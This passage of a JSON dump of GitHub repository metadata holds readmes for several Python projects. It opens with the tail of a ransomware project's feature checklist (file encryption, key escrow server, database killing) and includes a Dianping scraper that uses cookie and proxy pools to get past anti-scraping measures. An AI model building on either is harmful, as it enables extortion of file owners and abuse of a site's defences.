provide any useful information\nfor other infected devices, in particular the key must not be shared among them.\n\n-------------\n\n# Objectives:\n\n- [x] encrypts all user files with AES-256-CBC.\n- [x] Random AES key and IV for each file.\n- [x] Works even without internet connection.\n- [x] Communication with the server to decrypt Client-private-key.\n- [x] encrypts AES key with client-public-key RSA-2048.\n- [x] encrypts client-private-key with RSA-2048 server-public-key.\n- [x] Changes computer wallpaper -> Gnome, LXDE, KDE, XFCE.\n- [x] Decryptor that communicate to server to send keys.\n- [x] python webserver\n- [x] Daemon\n- [ ] Dropper\n- [x] Kills databases\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "qwertyquerty/pypresence", "link": "https://github.com/qwertyquerty/pypresence", "tags": ["discord", "discord-rpc", "discord-rich-presence", "rich-presence", "wrapper", "python-library", "python"], "stars": 510, "description": "A complete Discord IPC and Rich Presence wrapper library in Python!", "lang": "Python", "repo_lang": "", "readme": "> A Discord Rich Presence Client in Python? Looks like you've come to the right place.\n\n[![GitHub stars](https://img.shields.io/github/stars/qwertyquerty/pypresence.svg?style=for-the-badge&label=Stars)](https://github.com/qwertyquerty/pypresence) [![license](https://img.shields.io/github/license/qwertyquerty/pypresence.svg?style=for-the-badge)](https://github.com/qwertyquerty/pypresence/blob/master/LICENSE) ![GitHub last commit](https://img.shields.io/github/last-commit/qwertyquerty/pypresence.svg?style=for-the-badge) ![GitHub top language](https://img.shields.io/github/languages/top/qwertyquerty/pypresence.svg?style=for-the-badge) ![PyPI](https://img.shields.io/pypi/v/pypresence.svg?style=for-the-badge)\n\n## NOTE: Only Python versions 3.8 and above are supported.\n\n### [Documentation](https://qwertyquerty.github.io/pypresence/html/index.html), [Discord Server](https://discord.gg/JF3kg77), [Patreon](https://www.patreon.com/qwertyquerty)\n\n----------\n\n**Use this badge in your project's Readme to show you're using pypresence! The markdown code is below.**\n\n[![pypresence](https://img.shields.io/badge/using-pypresence-00bb88.svg?style=for-the-badge&logo=discord&logoWidth=20)](https://github.com/qwertyquerty/pypresence)\n\n```markdown\n[![pypresence](https://img.shields.io/badge/using-pypresence-00bb88.svg?style=for-the-badge&logo=discord&logoWidth=20)](https://github.com/qwertyquerty/pypresence)\n```\n\n\n----------\n\n# Installation\n\nInstall pypresence with **`pip`**\n\nFor the latest development version:\n\n### `pip install https://github.com/qwertyquerty/pypresence/archive/master.zip`\n\nFor the latest stable version:\n\n### `pip install pypresence`\n\n----------\n\n\n# Documentation\n\n> **NOTE**: You need an **authorized app** to do anything besides rich presence!\n\n####  [pypresence Documentation](https://qwertyquerty.github.io/pypresence/html/index.html)\n####  [Discord Rich Presence Documentation](https://discord.com/developers/docs/rich-presence/how-to)\n####  [Discord RPC Documentation](https://discord.com/developers/docs/topics/rpc)\n####  [pyresence Discord Support Server](https://discord.gg/JF3kg77)\n####  [Discord API Support Server](https://discord.gg/discord-api)\n\n----------\n\n# Examples\n\nExamples can be found in the [examples](https://github.com/qwertyquerty/pypresence/tree/master/examples) directory, and you can contribute your own examples if you wish, just read [examples.md](https://github.com/qwertyquerty/pypresence/blob/master/examples/examples.md)!\n\n----------\nWritten by: [qwertyquerty](https://github.com/qwertyquerty)\n\nNotable Contributors: [GiovanniMCMXCIX](https://github.com/GiovanniMCMXCIX), [GhostofGoes](https://github.com/GhostofGoes)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "huanglianghua/siamfc-pytorch", "link": "https://github.com/huanglianghua/siamfc-pytorch", "tags": [], "stars": 511, "description": "A clean PyTorch implementation of SiamFC tracking/training, evaluated on 7 datasets.", "lang": "Python", "repo_lang": "", "readme": "# SiamFC - PyTorch\n\n> Highlights of this update:\n> - Higher scores with more stable training performance.\n> - Faster training (~11 minutes to train one epoch on GOT-10k on a single GPU).\n> - Added MIT LICENSE.\n> - Organized code.\n> - Uploaded pretrained weights. ([Google Drive](https://drive.google.com/file/d/1UdxuBQ1qtisoWYFZxLgMFJ9mJtGVw6n4/view?usp=sharing) or [Baidu Yun](https://pan.baidu.com/s/1MTVXylPrSqpqmVD4iBwbpg) (password: wbek))\n\nA clean PyTorch implementation of SiamFC tracker described in paper [Fully-Convolutional Siamese Networks for Object Tracking](https://www.robots.ox.ac.uk/~luca/siamese-fc.html). The code is evaluated on 7 tracking datasets ([OTB (2013/2015)](http://cvlab.hanyang.ac.kr/tracker_benchmark/index.html), [VOT (2018)](http://votchallenge.net), [DTB70](https://github.com/flyers/drone-tracking), [TColor128](http://www.dabi.temple.edu/~hbling/data/TColor-128/TColor-128.html), [NfS](http://ci2cv.net/nfs/index.html) and [UAV123](https://ivul.kaust.edu.sa/Pages/pub-benchmark-simulator-uav.aspx)), using the [GOT-10k toolkit](https://github.com/got-10k/toolkit).\n\n## Performance (the scores are not updated yet)\n\n### GOT-10k\n\n| Dataset | AO    | SR<sub>0.50</sub> | SR<sub>0.75</sub> |\n|:------- |:-----:|:-----------------:|:-----------------:|\n| GOT-10k | 0.355 | 0.390             | 0.118             |\n\nThe scores are comparable with state-of-the-art results on [GOT-10k leaderboard](http://got-10k.aitestunion.com/leaderboard).\n\n### OTB / UAV123 / DTB70 / TColor128 / NfS\n\n| Dataset       | Success Score    | Precision Score |\n|:-----------   |:----------------:|:----------------:|\n| OTB2013       | 0.589            | 0.781            |\n| OTB2015       | 0.578            | 0.765            |\n| UAV123        | 0.523            | 0.731            |\n| UAV20L        | 0.423            | 0.572            |\n| DTB70         | 0.493            | 0.731            |\n| TColor128     | 0.510            | 0.691            |\n| NfS (30 fps)  | -                | -                |\n| NfS (240 fps) | 0.520            | 0.624            |\n\n### VOT2018\n\n| Dataset       | Accuracy    | Robustness (unnormalized) |\n|:-----------   |:-----------:|:-------------------------:|\n| VOT2018       | 0.502       | 37.25                     |\n\n## Installation\n\nInstall Anaconda, then install dependencies:\n\n```bash\n# install PyTorch >= 1.0\nconda install pytorch torchvision cudatoolkit=9.0 -c pytorch\n# intall OpenCV using menpo channel (otherwise the read data could be inaccurate)\nconda install -c menpo opencv\n# install GOT-10k toolkit\npip install got10k\n```\n\n[GOT-10k toolkit](https://github.com/got-10k/toolkit) is a visual tracking toolkit that implements evaluation metrics and tracking pipelines for 9 popular tracking datasets.\n\n## Training the tracker\n\n1. Setup the training dataset in `tools/train.py`. Default is the GOT-10k dataset located at `~/data/GOT-10k`.\n\n2. Run:\n\n```\npython tools/train.py\n```\n\n## Evaluate the tracker\n\n1. Setup the tracking dataset in `tools/test.py`. Default is the OTB dataset located at `~/data/OTB`.\n\n2. Setup the checkpoint path of your pretrained model. Default is `pretrained/siamfc_alexnet_e50.pth`.\n\n3. Run:\n\n```\npython tools/test.py\n```\n\n## Running the demo\n\n1. Setup the sequence path in `tools/demo.py`. Default is `~/data/OTB/Crossing`.\n\n2. Setup the checkpoint path of your pretrained model. Default is `pretrained/siamfc_alexnet_e50.pth`.\n\n3. Run:\n\n```\npython tools/demo.py\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "facebookresearch/clevr-dataset-gen", "link": "https://github.com/facebookresearch/clevr-dataset-gen", "tags": [], "stars": 510, "description": "A Diagnostic Dataset for Compositional Language and Elementary Visual Reasoning", "lang": "Python", "repo_lang": "", "readme": "# CLEVR Dataset Generation\n\nThis is the code used to generate the [CLEVR dataset](http://cs.stanford.edu/people/jcjohns/clevr/) as described in the paper:\n\n**[CLEVR: A Diagnostic Dataset for Compositional Language and Elementary Visual Reasoning](http://cs.stanford.edu/people/jcjohns/clevr/)**\n <br>\n <a href='http://cs.stanford.edu/people/jcjohns/'>Justin Johnson</a>,\n <a href='http://home.bharathh.info/'>Bharath Hariharan</a>,\n <a href='https://lvdmaaten.github.io/'>Laurens van der Maaten</a>,\n <a href='http://vision.stanford.edu/feifeili/'>Fei-Fei Li</a>,\n <a href='http://larryzitnick.org/'>Larry Zitnick</a>,\n <a href='http://www.rossgirshick.info/'>Ross Girshick</a>\n <br>\n Presented at [CVPR 2017](http://cvpr2017.thecvf.com/)\n\nCode and pretrained models for the baselines used in the paper [can be found here](https://github.com/facebookresearch/clevr-iep).\n\nYou can use this code to render synthetic images and compositional questions for those images, like this:\n\n<div align=\"center\">\n  <img src=\"images/example1080.png\" width=\"800px\">\n</div>\n\n**Q:** How many small spheres are there? <br>\n**A:** 2\n\n**Q:**  What number of cubes are small things or red metal objects? <br>\n**A:**  2\n\n**Q:** Does the metal sphere have the same color as the metal cylinder? <br>\n**A:** Yes\n\n**Q:** Are there more small cylinders than metal things? <br>\n**A:** No\n\n**Q:**  There is a cylinder that is on the right side of the large yellow object behind the blue ball; is there a shiny cube in front of it? <br>\n**A:**  Yes\n\nIf you find this code useful in your research then please cite\n\n```\n@inproceedings{johnson2017clevr,\n  title={CLEVR: A Diagnostic Dataset for Compositional Language and Elementary Visual Reasoning},\n  author={Johnson, Justin and Hariharan, Bharath and van der Maaten, Laurens\n          and Fei-Fei, Li and Zitnick, C Lawrence and Girshick, Ross},\n  booktitle={CVPR},\n  year={2017}\n}\n```\n\nAll code was developed and tested on OSX and Ubuntu 16.04.\n\n## Step 1: Generating Images\nFirst we render synthetic images using [Blender](https://www.blender.org/), outputting both rendered images as well as a JSON file containing ground-truth scene information for each image.\n\nBlender ships with its own installation of Python which is used to execute scripts that interact with Blender; you'll need to add the `image_generation` directory to Python path of Blender's bundled Python. The easiest way to do this is by adding a `.pth` file to the `site-packages` directory of Blender's Python, like this:\n\n```bash\necho $PWD/image_generation >> $BLENDER/$VERSION/python/lib/python3.5/site-packages/clevr.pth\n```\n\nwhere `$BLENDER` is the directory where Blender is installed and `$VERSION` is your Blender version; for example on OSX you might run:\n\n```bash\necho $PWD/image_generation >> /Applications/blender/blender.app/Contents/Resources/2.78/python/lib/python3.5/site-packages/clevr.pth\n```\n\nYou can then render some images like this:\n\n```bash\ncd image_generation\nblender --background --python render_images.py -- --num_images 10\n```\n\nOn OSX the `blender` binary is located inside the blender.app directory; for convenience you may want to\nadd the following alias to your `~/.bash_profile` file:\n\n```bash\nalias blender='/Applications/blender/blender.app/Contents/MacOS/blender'\n```\n\nIf you have an NVIDIA GPU with CUDA installed then you can use the GPU to accelerate rendering like this:\n\n```bash\nblender --background --python render_images.py -- --num_images 10 --use_gpu 1\n```\n\nAfter this command terminates you should have ten freshly rendered images stored in `output/images` like these:\n\n<div align=\"center\">\n  <img src=\"images/img1.png\" width=\"260px\">\n  <img src=\"images/img2.png\" width=\"260px\">\n  <img src=\"images/img3.png\" width=\"260px\">\n  <br>\n  <img src=\"images/img4.png\" width=\"260px\">\n  <img src=\"images/img5.png\" width=\"260px\">\n  <img src=\"images/img6.png\" width=\"260px\">\n</div>\n\nThe file `output/CLEVR_scenes.json` will contain ground-truth scene information for all newly rendered images.\n\nYou can find [more details about image rendering here](image_generation/README.md).\n\n## Step 2: Generating Questions\nNext we generate questions, functional programs, and answers for the rendered images generated in the previous step.\nThis step takes as input the single JSON file containing all ground-truth scene information, and outputs a JSON file \ncontaining questions, answers, and functional programs for the questions in a single JSON file.\n\nYou can generate questions like this:\n\n```bash\ncd question_generation\npython generate_questions.py\n```\n\nThe file `output/CLEVR_questions.json` will then contain questions for the generated images.\n\nYou can [find more details about question generation here](question_generation/README.md).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sandes/zipfly", "link": "https://github.com/sandes/zipfly", "tags": ["zipfly", "zipfile", "memory-inflation", "streaming", "buzon", "compression", "python"], "stars": 510, "description": "Python Zip Stream", "lang": "Python", "repo_lang": "", "readme": "[![Build Status](https://img.shields.io/circleci/build/github/sandes/zipfly/master)](https://app.circleci.com/pipelines/github/sandes/zipfly)\n![GitHub release (latest by date)](https://img.shields.io/github/v/release/sandes/zipfly)\n[![Downloads](https://pepy.tech/badge/zipfly)](https://pepy.tech/project/zipfly)\n\n# ZipFly\n\nZipFly is a zip archive generator based on zipfile.py.\nIt was created to generate very large ZIP archives for immediate sending out to clients, or for writing large ZIP archives without memory inflation.\n\n# Requirements\nPython 3.6+ Added <a href=\"https://docs.python.org/3/library/zipfile.html#zipfile-objects\" target=\"blank\">support</a> for writing to unseekable streams.\n\n# Install\n    pip3 install zipfly\n\n# Basic usage, compress on-the-fly during writes\nUsing this library will save you from having to write the Zip to disk. Some data will be buffered by the zipfile deflater, but memory inflation is going to be very constrained. Data will be written to destination by default at regular 32KB intervals.\n\n\n`ZipFly` defaults attributes:<br>    \n- <b>paths:</b> [ ] <br/>\n- <b>mode:</b> (write) w <br/>\n- <b>chunksize:</b> (bytes) 32768 <br/>\n- <b>compression:</b> Stored <br/>\n- <b>allowZip64:</b> True <br/>\n- <b>compresslevel:</b> None <br/>\n- <b>storesize:</b> (bytes) 0 <br/>\n- <b>encode:</b> utf-8 <br/>\n\n<br/>\n\n\n\n`paths` <b>list of dictionaries:</b>\n\n|                   |.                          \n|----------------   |-------------------------------      \n|**fs**             |Should be the path to a file on the filesystem            \n|**n** *(Optional)* |Is the name which it will have within the archive <br> (by default, this will be the same as **fs**)\n\n<br>\n\n```python\n\n    import zipfly\n\n    paths = [\n        {\n            'fs': '/path/to/large/file'\n        },\n    ]\n\n    zfly = zipfly.ZipFly(paths = paths)\n\n    generator = zfly.generator()\n    print (generator)\n    # <generator object ZipFly.generator at 0x7f74d52bcc50>\n\n\n    with open(\"large.zip\", \"wb\") as f:\n        for i in generator:\n            f.write(i)\n\n```\n\n\n# Examples\n\n> <b>Streaming multiple files in a zip with <a href=\"https://github.com/sandes/zipfly/blob/master/examples/streaming_django.py\" target=\"_blank\">Django</a> or <a href=\"https://github.com/sandes/zipfly/blob/master/examples/streaming_flask.py\" target=\"_blank\">Flask</a></b>\nSend forth large files to clients with the most popular frameworks\n\n> <b>Create paths</b>\nEasy way to create the array `paths` from a parent folder.\n\n> <b>Predict the size of the zip file before creating it</b>\nUse the `BufferPredictionSize` to compute the correct size of the resulting archive before creating it.\n\n> <b>Streaming a large file</b>\nEfficient way to read a single very large binary file in python\n\n> <b>Set a comment</b>\nYour own comment in the zip file\n\n\n", "readme_type": "markdown", "hn_comments": "This is really interesting.My https://datasette.io/ application offers features to export relational data, using Python asyncio under the hood. It can currently stream an arbitrarily large table out as CSV, which is a great format for this because it can be generated without buffering the entire thing in memory.I wrote a bit about that here: https://simonwillison.net/2021/Jun/25/streaming-large-api-re...zipfly makes me think that maybe I could do things like \"stream all of the tables from this database as a zip file full of CSVs\" - and have it work for giant databases again without using a great deal of memory.UPDATE: Actually it looks like zipfile wouldn't work here, because the library is designed to work from files that are already on disk - it doesn't look like I could feed it a few lines of CSV data at a time, I'd have to write the entire CSV out to disk first.<HN_SEP>I don't get why it has to be ZIP. AFAIK we can already stream tar-gz using only the python standard library.Maybe because Windows still can't unpack TAR out-of-box, 20 years after entering the 21 century?<HN_SEP>FYI the link to the help page (on your website) doesn't return anything (https://buzon.io/en/help/).<HN_SEP>Does writing ZIP archives usually cause memory inflation? I thought the algorithm had a simple fixed-size sliding window?<HN_SEP>I don't think they literally mean \"for immediate sending out to clients\" right? Because that would block the worker thread for the duration of the download. It makes more sense to write the output to disk and serve it out as normal static content.<HN_SEP>Nice. The code quality could be better though.<HN_SEP>I built a similar project in Go, along with http server. Comes in handy for streaming (as you point out): https://github.com/scosman/zipstreamer<HN_SEP>Looks good! I've been thinking about making a writable version of https://github.com/uktrade/stream-unzip, but looks like you beat me to it!(Full disclosure: I'm the main developer of stream-unzip)<HN_SEP>I remember needing this 5+ years ago, I used a branch of a fork of python-zipstream https://github.com/longaccess/python-zipstream/tree/streamin...<HN_SEP>Hi there. Does anyone have any very long eating utensils? I'd like some Filet Mignon but the steakhouse says it costs money.<HN_SEP>I wish windows supported more than just zip natively. I would love something like a tar. So much easier to generate on the fly than compressed formats.<HN_SEP>Please test your library with the c10-archive test suite https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c10-...<HN_SEP>I did something similar to stream large amounts of data off of an embedded device via a zip file, falcon, and wsgi server with no external dependencies for actual zip stream.Proof of concept: https://gist.github.com/1e22bbf31b7e5ae84bbdfa32c68e03a9<HN_SEP>Is this an issue in new versions of vanilla Python? I mostly bang on crusty old Java stuff and zip streaming has been built into JDK for decades<HN_SEP>I wrote a servlet that streamed gigabytes of zipped data to HTTP clients in 2005. Something like this was baked into the JDK awhile ago. Why is it an achievement for Python, though?<HN_SEP>Yeah, I looked into this a while ago forgenerating photo gallery zip files on the fly. Currently I'm using lazygal to generate static html galleries and if I want to give users the option to easoly download the full gallery, it basically doubles the size I need to store, as lazygal simply creates a zip file and puts it next to the photos and html files in the static gallery folder it generates.So I looked  to creating the zip files on the fly when requested & streaming them to the client onthe other end withou having to create temporary files and/or a lot of memmory consumption on the server. I got it working on a prototype and even found some articles from others that got it working - it is not that hard, really.<HN_SEP>The zip file format itself, and the compression algorithms, like deflate...all seem set up to encourage low memory usage.  The directory, for example, is at the end of the file.Also, most places in a zipfile you might not have context to write in a streaming fashion are predictable in size/position so you can throw in a placeholder and seek() back to it later.Kind of a shame someone has to specifically implement a low memory usage library. That implies other implementations went the lazy route.<HN_SEP>It'd be better if they didn't require knowing the paths a priori. One of the fundamental strengths of ZIP is that the file list is at the end of the archive rather than the beginning, letting you dynamically discover and send contents in a streaming fashion. Forcing the list of files to be known a priori works against that.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "TheKevJames/coveralls-python", "link": "https://github.com/TheKevJames/coveralls-python", "tags": ["coveralls", "coverage", "pytest", "nosetests", "python"], "stars": 509, "description": "Show coverage stats online via coveralls.io", "lang": "Python", "repo_lang": "", "readme": "Coveralls for Python\n====================\n\n:Test Status:\n    .. image:: https://img.shields.io/circleci/project/github/TheKevJames/coveralls-python/master.svg?style=flat-square&label=CircleCI\n        :target: https://circleci.com/gh/TheKevJames/coveralls-python\n\n    .. image:: https://img.shields.io/travis/TheKevJames/coveralls-python/master.svg?style=flat-square&label=TravisCI\n        :target: https://travis-ci.org/TheKevJames/coveralls-python\n\n    .. image:: https://img.shields.io/github/workflow/status/TheKevJames/coveralls-python/coveralls/master?style=flat-square&label=Github%20Actions\n        :target: https://github.com/TheKevJames/coveralls-python/actions\n\n    .. image:: https://img.shields.io/coveralls/TheKevJames/coveralls-python/master.svg?style=flat-square&label=Coverage\n        :target: https://coveralls.io/r/TheKevJames/coveralls-python\n\n:Version Info:\n    .. image:: https://img.shields.io/conda/v/conda-forge/coveralls?style=flat-square&label=Conda\n        :target: https://anaconda.org/conda-forge/coveralls\n\n    .. image:: https://img.shields.io/pypi/v/coveralls.svg?style=flat-square&label=PyPI\n        :target: https://pypi.org/project/coveralls/\n\n    .. image:: https://img.shields.io/conda/dn/conda-forge/coveralls?label=Conda%20Downloads&style=flat-square\n        :target: https://anaconda.org/conda-forge/coveralls\n\n    .. image:: https://img.shields.io/pypi/dm/coveralls.svg?style=flat-square&label=PyPI%20Downloads\n        :target: https://pypi.org/project/coveralls/\n\n:Compatibility:\n    .. image:: https://img.shields.io/pypi/pyversions/coveralls.svg?style=flat-square&label=Python%20Versions\n        :target: https://pypi.org/project/coveralls/\n\n    .. image:: https://img.shields.io/pypi/implementation/coveralls.svg?style=flat-square&label=Python%20Implementations\n        :target: https://pypi.org/project/coveralls/\n\n:Misc:\n    .. image:: https://img.shields.io/docker/cloud/build/thekevjames/coveralls?style=flat-square&label=Docker\n        :target: https://hub.docker.com/r/thekevjames/coveralls\n\n    .. image:: https://img.shields.io/readthedocs/coveralls-python?style=flat-square&label=Docs\n        :target: http://coveralls-python.readthedocs.io/en/latest/\n\n`coveralls.io`_ is a service for publishing your coverage stats online. This\npackage provides seamless integration with `coverage.py`_ (and thus ``pytest``,\n``nosetests``, etc...) in your Python projects::\n\n    pip install coveralls\n    coverage run --source=mypkg -m pytest tests/\n    coveralls\n\nFor more information and usage instructions, see our `documentation`_.\n\nVersion Compatibility\n---------------------\n\nAs of version 2.0, we have dropped support for end-of-life'd versions of Python\nand particularly old version of coverage. Support for non-EOL'd environments is\nprovided on a best-effort basis and will generally be removed once they make\nmaintenance too difficult.\n\nIf you're running on an outdated environment with a new enough package manager\nto support version checks (see `the PyPA docs`_), then installing the latest\ncompatible version should do the trick. If you're even more outdated than that,\nplease pin to ``coveralls<2``.\n\nIf you're in an outdated environment and experiencing an issue, feel free to\nopen a ticket -- but please mention your environment! I'm willing to backport\nfixes to the 1.x branch if need be.\n\n.. _Docs: http://coveralls-python.readthedocs.io/en/latest/\n.. _coverage.py: https://coverage.readthedocs.io/en/latest/\n.. _coveralls.io: https://coveralls.io/\n.. _documentation: http://coveralls-python.readthedocs.io/en/latest/\n.. _the PyPA docs: https://packaging.python.org/guides/distributing-packages-using-setuptools/#python-requires\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Sniper970119/dianping_spider", "link": "https://github.com/Sniper970119/dianping_spider", "tags": [], "stars": 510, "description": "\u5927\u4f17\u70b9\u8bc4\u722c\u866b\uff08\u5168\u7ad9\u53ef\u722c\uff0c\u89e3\u51b3\u52a8\u6001\u5b57\u4f53\u52a0\u5bc6\uff0c\u975eOCR\uff09\u3002\u6301\u7eed\u66f4\u65b0", "lang": "Python", "repo_lang": "", "readme": "#Sniper\n\n\n\n[![](https://img.shields.io/badge/python-3-brightgreen.svg)](https://www.python.org/downloads/)\n<img src=\"https://img.shields.io/badge/license-GPL--3.0-brightgreen\">\n\n*Only for learning and exchange use, commercial use is prohibited. Unauthorized reprinting is prohibited*\n\n\n##### This project complies with the GPL-3.0 open source agreement\n\n##### You can use this project for yourself, if you use this project for profit (including but not limited to commercial, program generation and other private work), you are not allowed;\n\n##### If you use this project to make profits without permission, I reserve all liability related to the infringement; the legal disputes caused at the same time have nothing to do with me.\n\n### Due to work reasons, this warehouse may not have much time to maintain. But if there is no accident, the code of this warehouse will be valid for a long time in the future.\n\n### Please give me a star! ! This is really important to me! !\n\nThis program can crawl the relevant information in Dianping search page, detail page and comment page, and write the results into files or databases. Support multiple cookies, ip proxy and multiple data source crawling.\n\nCurrently supported write types are as follows:\n- MongoDB database\n- ~~csv~~ (Writing is not supported after the version is updated, and there is no adaptation plan for the time being)\n\n\nIf you need other database support, please contact us or submit a PR after you add it.\n\n***\n\n**Because Dianping anti-climbing is very very very very very very very strict, so many anti-ban methods such as cookie pool and ip proxy are used. At the same time, the framework gives users a high degree of freedom of operation.**\n**This leads to more parameters to be configured (more than 30, but most of them can use default items), so the operating threshold is relatively not low. **\n\n**Although I have tried my best to write detailed usage documentation, even so:**\n\n**If you have found a bug or have any better suggestions, please send me an email to raise issues or PR, but please solve all problems related to the operation of the program by yourself or check [here](https://github. com/Sniper970119/dianping_spider#%E8%BF%90%E8%A1%8C%E7%A8%8B%E5%BA%8F ). **\n\n** Do not accept questions from Xiaobai, research by yourself. The documentation is relatively complete. If you have any questions after reading the complete documentation, please show your thinking and verification process when asking questions. **\n\n***\n\n## Development Plan\n\n### Supported\n\n- Search information (search results, coarse)\n\n- Detailed information (more address, phone number, opening hours than the previous one)\n\n- comment information\n\n- cookie pool\n\n- ip proxy\n\n- Strongly optimize the role of ip proxy through anonymous interface\n\n- Secret key mode proxy tunnel support\n\n- Browser oil monkey plug-in (thanks to [@halsn](https://github.com/halsn), see [here](https://github.com/Sniper970119/dianping_spider/tree/master/js) for plug-in related details )\n\n### Plan support (very busy in recent months, may not be able to update, may update if free on weekends)\n\n- Dynamic update of cookies (it is possible to alleviate the situation of being banned)\n\n- coupon information\n\n## Environment configuration\nLanguage: python3\n\nSystem: Windows/Linux/MacOS\n\nOther environment configuration:\n\nRequires: lxml, requests, tqdm, faker, beautifulsoup4, fontTools, pymongo (optional)\n\nOr one-click configuration:\n\n    pip install -r requirements.txt\n\n## Instructions:\n\n\n### Configuration configuration file\nFirst configure config.ini. The meaning of the parameters has been described in detail in the file. Here is a brief description.\n\n**Sometimes I may accidentally upload my private information (such as remote database address <mongo_path>, proxy tunnel address <http_link>, etc.) to github by mistake. I hope everyone can consciously modify these parameters.\nI have found that someone has used my private remote database, and even someone has used hundreds of thousands of my paid proxy ip. **\n\n\n\n|Parameter|Description|\n|:----- |-----|\n|config: | |\n|use_cookie_pool | Whether to use cookie pool |\n|Cookie |Cookie information (note the capitalization, the reason why it is different is that it is convenient to copy the browser information directly without changing it). |\n|uuid |uuid information, [see](./docs/json.md)|\n|tcv |tcv information, [see](./docs/json.md)|\n|user-agent |Browser UA information, different from the description in the configuration file, currently does not support random UA|\n|save_mode |Save mode, refer to the config.ini prompt for the specific format. (Currently only for mongo/mongodb) |\n|mongo_path |mongo database configuration, refer to config for specific format.ini prompt|\n|requests_times |Crawler interval time, refer to config.ini for specific format. |\n|detail: | |\n|keyword | search keyword |\n|location_id |Area id, refer to config.ini for specific format. [See details](./docs/location.md ) |\n|channel_id |Channel id, refer to config.ini for specific format. |\n|search_url |Search url, see the prompt in config.ini for details. |\n|need_first |Whether only the first article on the home page is needed |\n|need_pages |Number of pages that need to be searched (Search Pages) |\n|proxy: | |\n|use_proxy |Whether to use proxy |\n|repeat_nub |IP repetition times, see config.ini for details |\n|http_extract |http extract |\n|key_extract |Secret key extraction|\n|http_link |http extraction interface |\n|proxy_host |key mode server ip|\n|proxy_port |secret mode server port |\n|key_id |secret key id |\n|key_key |Secret key key|\n\nThen configure require.ini, which is used to select the crawling strategy.\n\n|Parameters|Description|Choose carefully|\n|:----- |-----|-----|\n|shop_phone: | | |\n|need |Do you need a store phone number |No|\n|need_detail |Do you need store phone details (12345678** if not required, 12345678910 if you need details) |Yes|\n|shop_review: | | |\n|need |Do you need store reviews |No|\n|need_detail |Do you need more reviews for the store (if not, there are only 10 selected ones) |Yes|\n|need_pages |If you need more reviews, how many pages are needed (30 pages per page), take the smaller value of the store's review page and the input value |No|\n\nIt is worth mentioning that for carefully selected configurations, since login is required to obtain them,\nTherefore, the request will carry a cookie, and frequent requests will cause the account to be banned (it will be automatically unlocked after a period of time).\n\n### Run the program\n\nNormal search (full process, search->details [optional]->comments [optional]):\n- run main.py\n\nCustom search (no search required, just details or comments):\n- Only the details are needed, and the shop_id can be modified by itself (only for the command line format, and the compiler will configure or modify the code by itself when it runs)\n\n    `python main.py --normal 0 --detail 1 --review 0 --shop_id k30YbaScPKFS0hfP --need_more False`\n\n- just comment\n\n    `python main.py --normal 0 --detail 0 --review 1 --shop_id k30YbaScPKFS0hfP --need_more False`\n\n- Need details and comments\n\n    `python main.py --normal 0 --detail 1 --review 1 --shop_id k30YbaScPKFS0hfP --need_more False`\n    \nIf you encounter other problems, see [here](./docs/problems.md) for details\nand [issues](https://github.com/Sniper970119/dianping_spider/issues?q=is%3Aissue+is%3Aclosed)\n\n \n## field result display\n\nDue to the relatively serious anti-picking measures of Dianping and the complex format of different channel fields, a lot of data is not processed during the crawling stage. Store as it is and wash it yourself later.\n(Due to the introduction of interface data in the new version, some data has to be processed in order to align the interface storage format)\n\n\n### Business search result display:\n![image](./imgs/show_info.jpg)\n\n### Merchant review page display:\n![image](./imgs/show_review.jpg)\n\n\nMore data specifications view [here](./docs/data.md)\n\n## Some thoughts\n\n\nSome thoughts about cookies and cookie pools: [here](./docs/cookie_pool.md)\n\nSome thoughts about storage: [here](./docs/save.md)\n\nSome thoughts on using the encryption interface: [here](./docs/json.md)\n\nSome thoughts about ip proxy: [here](./docs/proxy.md)\n\nSome minor problems you may encounter: [here](./docs/problems.md)\n\n\n  \n## Related function notes\n  - [Search page font encryption encryption](http://www.sniper97.cn/index.php/note/carwler/3694/)\n  - [Comment page font encryption encryption] (http://www.sniper97.cn/index.php/note/carwler/3707/)\n\nIf you want to speed up the progress, order a star", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "lcswillems/rl-starter-files", "link": "https://github.com/lcswillems/rl-starter-files", "tags": ["pytorch", "multi-process", "minigrid", "a2c", "a3c", "ppo", "preprocessed-observations", "reward-shaping"], "stars": 509, "description": "RL starter files in order to immediatly train, visualize and evaluate an agent without writing any line of code", "lang": "Python", "repo_lang": "", "readme": "# RL Starter Files\n\nRL starter files in order to immediatly train, visualize and evaluate an agent **without writing any line of code**.\n\n<p align=\"center\">\n    <img width=\"300\" src=\"README-rsrc/visualize-keycorridor.gif\">\n</p>\n\nThese files are suited for [`gym-minigrid`](https://github.com/maximecb/gym-minigrid) environments and [`torch-ac`](https://github.com/lcswillems/torch-ac) RL algorithms. They are easy to adapt to other environments and RL algorithms.\n\n## Features\n\n- **Script to train**, including:\n  - Log in txt, CSV and Tensorboard\n  - Save model\n  - Stop and restart training\n  - Use A2C or PPO algorithms\n- **Script to visualize**, including:\n  - Act by sampling or argmax\n  - Save as Gif\n- **Script to evaluate**, including:\n  - Act by sampling or argmax\n  - List the worst performed episodes\n\n## Installation\n\n1. Clone this repository.\n\n2. Install `gym-minigrid` environments and `torch-ac` RL algorithms:\n\n```\npip3 install -r requirements.txt\n```\n\n**Note:** If you want to modify `torch-ac` algorithms, you will need to rather install a cloned version, i.e.:\n```\ngit clone https://github.com/lcswillems/torch-ac.git\ncd torch-ac\npip3 install -e .\n```\n\n## Example of use\n\nTrain, visualize and evaluate an agent on the `MiniGrid-DoorKey-5x5-v0` environment:\n\n<p align=\"center\"><img src=\"README-rsrc/doorkey.png\"></p>\n\n1. Train the agent on the `MiniGrid-DoorKey-5x5-v0` environment with PPO algorithm:\n\n```\npython3 -m scripts.train --algo ppo --env MiniGrid-DoorKey-5x5-v0 --model DoorKey --save-interval 10 